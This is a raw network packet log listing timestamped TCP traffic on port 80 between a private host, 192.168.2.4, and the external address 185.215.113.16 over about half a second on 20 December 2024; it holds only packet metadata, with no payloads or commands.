Dec 20, 2024 17:11:03.811744928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.811784983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.812216997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.812323093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.812335014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.812367916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.812531948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.812573910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.813016891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813127995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813138962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813199043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.813342094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813385963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.813832998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813925028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813941002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.813958883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.814162016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.814203024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.814660072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.814724922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.814735889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.814764977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.814939976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.814990997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.815478086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.815490007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.815525055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.815534115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.868128061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.868252993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.868268967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.868386984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.868406057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.868419886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.868429899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.868501902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.869060993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.869103909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.869281054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.869366884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.869498014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.869541883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.869548082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.869561911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.869586945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.870212078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.870234013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.870245934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.870261908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.870285988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.870507002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.871063948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.871148109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.871160984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.871198893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.871231079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.871316910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.871737957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.871789932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.871870041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.931026936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.935393095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.935518026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.935528040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.935637951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.935636997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.935650110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.935664892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.935698986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.935726881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.936279058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.936604977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.936614990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.936677933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.936721087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.936739922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.936752081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.936758995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.936789989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.937304020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.937412977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.937424898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.937463045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.937577963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.937629938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.938133001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.938143015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.938184023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.938271999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.938283920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.938327074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.938920021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939004898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939017057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939059019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.939241886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939280987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.939662933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939765930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939796925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.939831018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.939992905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.940032005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.940489054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.993509054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.996640921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.996722937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.996733904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.996783972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.996946096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997088909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997101068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997138023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.997337103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997348070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997390032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.997828960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997919083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997930050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.997994900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.998177052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.998220921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.998619080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.998707056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.998720884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.998761892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.998933077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.998974085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.999424934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.999521017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.999531031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.999572039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.999772072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.999811888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.000205994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.000309944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.000319958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.000356913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.000539064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.000579119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.001022100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.001121998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.001132965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.001167059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.001338959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.001377106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.001851082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.001862049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.001904964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.002057076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.002068043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.002101898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.002671957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.002682924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.002692938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.002722979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.002811909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.003453970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.003463984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.003508091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.003535032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.003546953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.003582954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.004239082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.004249096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.004259109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.004286051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.004370928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.004411936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.005012989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005112886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005125046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005163908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.005333900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005373955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.005791903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005887985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005903006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.005947113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.006127119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.006591082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.006639004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.006697893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.006710052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.006732941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.006936073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.006978989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.007457018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.007469893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.007507086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.007601023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.007613897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.007646084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.060441017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.060543060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.060553074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.060604095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.060790062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.060843945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.060937881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.060951948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.061017990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.061147928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.061359882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.061410904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.061475992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.061486006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.061496019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.061517954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.062151909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.062215090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.062239885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.062251091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.062285900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.062469959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063061953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063071012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063122988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.063146114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063158035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063188076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.063853979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063863993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.063898087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.118508101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.127574921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.127757072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.127767086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.127814054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.127921104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.127932072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.127942085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.127969027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.127990007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.128511906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.128756046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.128767014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.128798962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.128870964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.128882885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.128910065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.129098892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.129137039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.129528999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.129615068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.129626989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.129667044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.129841089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.129889011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.130285978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.130415916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.130426884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.130466938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.130667925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.130712032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.131105900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.131198883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.131208897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.131248951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.131494999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.131539106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.132137060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.132184029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.132194996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.132234097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.132386923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.132427931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.188776970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.188904047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.188915014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.188983917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.189086914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189136028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.189223051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189234018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189274073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.189434052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189651966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189754009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189764023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.189800978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.189990997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.190428972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.190519094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.190530062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.190572023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.190757990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.191271067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.191396952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.191406965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.191447973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.191617966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192032099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192084074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.192121983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192133904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192182064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.192362070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192831039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192950964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.192960978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.193005085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.193166971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.193643093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.193813086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.193824053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.193862915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.193950891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.194444895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.194555044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.194566011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.194612980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.194746017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.195270061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.195343971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.195355892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.195394039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.195579052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196027994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196074963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.196113110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196122885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196155071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.196381092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196880102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196937084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196948051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.196991920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.197177887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.197669983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.197680950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.197725058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.197799921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.197810888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.197841883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.198432922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.198504925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.198523998 CET	80	49744	185.215.113.16	192.168.2.4
